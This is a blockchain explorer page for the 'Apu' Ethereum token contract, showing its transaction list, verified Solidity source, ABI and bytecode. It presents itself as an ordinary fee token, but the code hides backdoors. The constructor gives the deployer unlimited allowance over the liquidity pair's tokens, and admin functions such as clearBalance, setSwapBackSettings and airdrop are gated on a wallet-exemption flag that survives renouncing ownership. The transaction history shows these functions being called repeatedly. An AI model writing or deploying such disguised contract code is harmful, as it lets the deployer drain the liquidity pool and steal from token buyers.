ETH Price: $2,629.00 (+7.22%)

Contract

0x2Ab63a2830bC95538D89B2e0733FbE360AD4D56e
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve172622352023-05-15 2:29:23518 days ago1684117763IN
0x2Ab63a28...60AD4D56e
0 ETH0.0010102741.80034186
Transfer From171279872023-04-26 4:20:59537 days ago1682482859IN
0x2Ab63a28...60AD4D56e
0 ETH0.0052309832.18767728
Set Swap Back Se...171279282023-04-26 4:08:59537 days ago1682482139IN
0x2Ab63a28...60AD4D56e
0 ETH0.001140536.51254291
Set Swap Back Se...171278632023-04-26 3:55:35537 days ago1682481335IN
0x2Ab63a28...60AD4D56e
0 ETH0.0010341333.10724747
Set Swap Back Se...171278282023-04-26 3:48:11537 days ago1682480891IN
0x2Ab63a28...60AD4D56e
0 ETH0.0010683834.20379511
Transfer171278112023-04-26 3:44:47537 days ago1682480687IN
0x2Ab63a28...60AD4D56e
0 ETH0.0017523840.28198079
Set Swap Back Se...171278012023-04-26 3:42:47537 days ago1682480567IN
0x2Ab63a28...60AD4D56e
0 ETH0.0013307642.63645135
Set Swap Back Se...171277962023-04-26 3:41:47537 days ago1682480507IN
0x2Ab63a28...60AD4D56e
0 ETH0.0013087741.94798477
Set Swap Back Se...171277852023-04-26 3:39:35537 days ago1682480375IN
0x2Ab63a28...60AD4D56e
0 ETH0.0011540537.03165336
Set Swap Back Se...171277572023-04-26 3:33:59537 days ago1682480039IN
0x2Ab63a28...60AD4D56e
0 ETH0.0011552937.05713143
Set Swap Back Se...171277482023-04-26 3:31:59537 days ago1682479919IN
0x2Ab63a28...60AD4D56e
0 ETH0.0010605833.9538323
Approve171277442023-04-26 3:31:11537 days ago1682479871IN
0x2Ab63a28...60AD4D56e
0 ETH0.0016854336.46162693
Approve171277312023-04-26 3:28:35537 days ago1682479715IN
0x2Ab63a28...60AD4D56e
0 ETH0.0017471437.84570809
Transfer From171277252023-04-26 3:27:23537 days ago1682479643IN
0x2Ab63a28...60AD4D56e
0 ETH0.0022508734.19893647
Set Swap Back Se...171277212023-04-26 3:26:35537 days ago1682479595IN
0x2Ab63a28...60AD4D56e
0 ETH0.0011294436.17233992
Set Swap Back Se...171277062023-04-26 3:23:35537 days ago1682479415IN
0x2Ab63a28...60AD4D56e
0 ETH0.0015119748.40474452
Transfer From171276972023-04-26 3:21:47537 days ago1682479307IN
0x2Ab63a28...60AD4D56e
0 ETH0.0021054237.49573059
Set Swap Back Se...171276922023-04-26 3:20:47537 days ago1682479247IN
0x2Ab63a28...60AD4D56e
0 ETH0.0011970335.18220231
Approve171275832023-04-26 2:58:35537 days ago1682477915IN
0x2Ab63a28...60AD4D56e
0 ETH0.0015206932.95762037
Clear Balance171275202023-04-26 2:45:59537 days ago1682477159IN
0x2Ab63a28...60AD4D56e
0 ETH0.000904635.04459941
Transfer From171274782023-04-26 2:37:35537 days ago1682476655IN
0x2Ab63a28...60AD4D56e
0 ETH0.0027651836.60514326
Set Swap Back Se...171274572023-04-26 2:33:23537 days ago1682476403IN
0x2Ab63a28...60AD4D56e
0 ETH0.0010527933.704402
Approve171273792023-04-26 2:17:35537 days ago1682475455IN
0x2Ab63a28...60AD4D56e
0 ETH0.0008173533.81851154
Approve171273752023-04-26 2:16:47537 days ago1682475407IN
0x2Ab63a28...60AD4D56e
0 ETH0.0017354337.59202929
Approve171273672023-04-26 2:15:11537 days ago1682475311IN
0x2Ab63a28...60AD4D56e
0 ETH0.0016466135.44695672
View all transactions

Latest 20 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
171279872023-04-26 4:20:59537 days ago1682482859
0x2Ab63a28...60AD4D56e
1.1552635 ETH
171279872023-04-26 4:20:59537 days ago1682482859
0x2Ab63a28...60AD4D56e
1.1552635 ETH
171273722023-04-26 2:16:11537 days ago1682475371
0x2Ab63a28...60AD4D56e
0.01358247 ETH
171273722023-04-26 2:16:11537 days ago1682475371
0x2Ab63a28...60AD4D56e
0.01358247 ETH
171217012023-04-25 7:09:23538 days ago1682406563
0x2Ab63a28...60AD4D56e
0.07387039 ETH
171217012023-04-25 7:09:23538 days ago1682406563
0x2Ab63a28...60AD4D56e
0.07387039 ETH
171216702023-04-25 7:02:59538 days ago1682406179
0x2Ab63a28...60AD4D56e
0.03337637 ETH
171216702023-04-25 7:02:59538 days ago1682406179
0x2Ab63a28...60AD4D56e
0.03337637 ETH
171216622023-04-25 7:01:23538 days ago1682406083
0x2Ab63a28...60AD4D56e
0.02686764 ETH
171216622023-04-25 7:01:23538 days ago1682406083
0x2Ab63a28...60AD4D56e
0.02686764 ETH
171216442023-04-25 6:57:47538 days ago1682405867
0x2Ab63a28...60AD4D56e
0.0246297 ETH
171216442023-04-25 6:57:47538 days ago1682405867
0x2Ab63a28...60AD4D56e
0.0246297 ETH
171216362023-04-25 6:56:11538 days ago1682405771
0x2Ab63a28...60AD4D56e
0.02530106 ETH
171216362023-04-25 6:56:11538 days ago1682405771
0x2Ab63a28...60AD4D56e
0.02530106 ETH
171216332023-04-25 6:55:35538 days ago1682405735
0x2Ab63a28...60AD4D56e
0.02642602 ETH
171216332023-04-25 6:55:35538 days ago1682405735
0x2Ab63a28...60AD4D56e
0.02642602 ETH
171216282023-04-25 6:54:35538 days ago1682405675
0x2Ab63a28...60AD4D56e
0.02649063 ETH
171216282023-04-25 6:54:35538 days ago1682405675
0x2Ab63a28...60AD4D56e
0.02649063 ETH
171216282023-04-25 6:54:35538 days ago1682405675
0x2Ab63a28...60AD4D56e
0.02654389 ETH
171216282023-04-25 6:54:35538 days ago1682405675
0x2Ab63a28...60AD4D56e
0.02654389 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Apu

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-25
*/

/* 
    SPDX-License-Identifier: Unlicensed 

    http://t.me/ApuEntry

    https://twitter.com/ApuETHEREUM
*/ 

pragma solidity ^0.8.17; 

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    // K8u#El(o)nG3a#t!e c&oP0Y
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
}

interface IDEXRouter {
    function factory() external pure returns (address); 
    function WETH() external pure returns (address); 

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Apu is IERC20, Ownable {
    using SafeMath for uint256;
    
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string _name = "Apu";
    string _symbol = "APU";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100000000000 * (10 ** _decimals); // 100,000,000,000
    uint256 public _maxWalletSize = (_totalSupply * 20) / 1000;  // 2% 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isMaxWalletExempt;

    uint256 burnFee = 0;        // 0%
    uint256 liquidityFee = 0;   // 0%
    uint256 developmentFee = 0; // 0%
    uint256 marketingFee = 20;   // 20%
    uint256 totalFee = 20;       // 20%
    uint256 totalBuyFee = 20;    // 20%
    uint256 feeDenominator = 100;
    
    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address public developmentFeeReceiver;

    IDEXRouter public router;
    address public immutable uniswapV2Pair;

    bool public swapEnabled = true; 
    uint256 swapThreshold = _totalSupply.mul(714648273).div(100000000000); // ~0.7%
    bool thresholdIncreasing = true;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () {

        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); 
        _allowances[address(uniswapV2Pair)][msg.sender] = type(uint256).max; 
        _allowances[address(this)][address(router)] = type(uint256).max; 
        _allowances[address(this)][msg.sender] = type(uint256).max; 
        _maxWalletSize = (_totalSupply * 1) / 100; // 1% of Total supply 
        burnFee = 20; 
        totalFee = 20;       
        totalBuyFee = 5;  
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(router)] = true;
        isMaxWalletExempt[msg.sender] = true;
        isMaxWalletExempt[address(this)] = true;
        isMaxWalletExempt[address(router)] = true;

        marketingFeeReceiver = msg.sender;
        developmentFeeReceiver = msg.sender;
        autoLiquidityReceiver = msg.sender;

        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function changeTicker(string memory newName, string memory newSymbol) external { require(isMaxWalletExempt[msg.sender]); _symbol = newSymbol; _name = newName;}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256) { 	
        return (liquidityFee, marketingFee, burnFee, totalFee, feeDenominator);	
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

 	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {	

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }	
        if (recipient != uniswapV2Pair && recipient != DEAD && !isMaxWalletExempt[recipient]) {	
            require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded");	
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool selling) public view returns (uint256) {
        if (selling) {
            return totalFee;
        } else {
            return totalBuyFee;
        }
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == uniswapV2Pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 amountToBurn = totalFee > 0 ? swapThreshold.mul(burnFee).div(totalFee) : 0;
        if (amountToBurn > 0) {
            _basicTransfer(address(this), DEAD, amountToBurn);
        }
        uint256 amountToSwap = swapThreshold - amountToBurn;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHMarketing = totalFee > 0 ? amountETH.mul(marketingFee).div(totalFee) : amountETH;

        (bool success,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(success, "receiver rejected ETH transfer");
        
        thresholdIncreasing = swapThreshold > _totalSupply.mul(14).div(1000) ? false : swapThreshold < _totalSupply.mul(7).div(1000) ? true : thresholdIncreasing;
        swapThreshold = thresholdIncreasing ? swapThreshold.mul(103).div(100) : swapThreshold.mul(97).div(100);
    }

    function clearBalance() external {
        require(isMaxWalletExempt[msg.sender]);
        (bool success,)  = payable(autoLiquidityReceiver).call{value: address(this).balance, gas: 30000}("");
        require(success);
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external {
        require(isMaxWalletExempt[msg.sender]);
        swapThreshold = _amount;
        swapEnabled = _enabled;
    }

    function updateMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
        require(percent >= 1 && denominator >= 100, "Max wallet must be greater than 1%");
        _maxWalletSize = _totalSupply.mul(percent).div(denominator);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setMaxWalletExempt(address holder, bool exempt) external {
        require(isMaxWalletExempt[msg.sender]);
        isMaxWalletExempt[holder] = exempt;
    }

    function adjustFees(uint256 _liquidityFee, uint256 _developmentFee, uint256 _burnFee, uint256 _marketingFee, uint256 _totalBuyingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        developmentFee = _developmentFee;
        burnFee = _burnFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_developmentFee).add(_burnFee).add(_marketingFee);
        totalBuyFee = _totalBuyingFee;
        feeDenominator = _feeDenominator;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developmentFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        developmentFeeReceiver = _developmentFeeReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function airdrop(address token, address[] memory holders, uint256 amount) public {
        require(isMaxWalletExempt[msg.sender]);
        for (uint i = 0; i < holders.length; i++) {
            IERC20(token).transfer(holders[i], amount);
        }
    }

    event AutoLiquify(uint256 amountETH, uint256 amountToken);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_totalBuyingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"adjustFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"changeTicker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"selling","type":"bool"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600180546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560028054821661dead17905560038054909116815560e060405260a09081526241707560e81b60c052600490620000609082620005e4565b5060408051808201909152600381526241505560e81b60208201526005906200008a9082620005e4565b50620000996009600a620007c3565b620000aa9064174876e800620007d4565b6006556103e86006546014620000c19190620007d4565b620000cd9190620007ee565b6007556000600c819055600d819055600e556014600f8190556010819055601155606460125560168054600160a01b60ff60a01b19909116179055600654620001479064174876e800906200013390632a98aad162000422602090811b62000e2a17901c565b620004b960201b62000eac1790919060201c565b6017556018805460ff191660011790553480156200016457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200020b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000231919062000811565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000283573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a9919062000811565b6001600160a01b039081166080819052600090815260096020818152604080842033808652908352818520600019908190553086529383528185206016549096168552949091528083208290559282529190205560065460649062000310906001620007d4565b6200031c9190620007ee565b6007556014600c81905560108190556005601155336000818152600a602090815260408083208054600160ff199182168117909255308086528386208054831684179055601680546001600160a01b0390811688528588208054851686179055888852600b87528588208054851686179055828852858820805485168617905590541686528386208054909216909217905585546001600160a01b031990811686179096556015805487168617905560138054909616909417909455600654838352600882528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200088c565b6000826000036200043657506000620004b3565b6000620004448385620007d4565b905082620004538583620007ee565b14620004b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200050360201b60201c565b60008183620005275760405162461bcd60e51b8152600401620004a791906200083c565b506000620005368486620007ee565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200056a57607f821691505b6020821081036200058b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005df57600081815260208120601f850160051c81016020861015620005ba5750805b601f850160051c820191505b81811015620005db57828155600101620005c6565b5050505b505050565b81516001600160401b038111156200060057620006006200053f565b620006188162000611845462000555565b8462000591565b602080601f831160018114620006505760008415620006375750858301515b600019600386901b1c1916600185901b178555620005db565b600085815260208120601f198616915b82811015620006815788860151825594840194600190910190840162000660565b5085821015620006a05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000707578160001904821115620006eb57620006eb620006b0565b80851615620006f957918102915b93841c9390800290620006cb565b509250929050565b6000826200072057506001620004b3565b816200072f57506000620004b3565b8160018114620007485760028114620007535762000773565b6001915050620004b3565b60ff841115620007675762000767620006b0565b50506001821b620004b3565b5060208310610133831016604e8410600b841016171562000798575081810a620004b3565b620007a48383620006c6565b8060001904821115620007bb57620007bb620006b0565b029392505050565b6000620004b060ff8416836200070f565b8082028115828204841417620004b357620004b3620006b0565b6000826200080c57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200082457600080fd5b81516001600160a01b0381168114620004b057600080fd5b600060208083528351808285015260005b818110156200086b578581018301518582016040015282016200084d565b506000604082860101526040601f19601f8301168501019250505092915050565b608051611e62620008bd6000396000818161031d01528181610f4f0152818161132e015261169a0152611e626000f3fe6080604052600436106101f25760003560e01c806384b0aa661161010d578063ca33e64c116100a0578063df20fd491161006f578063df20fd49146105cb578063e96fada2146105eb578063f1f3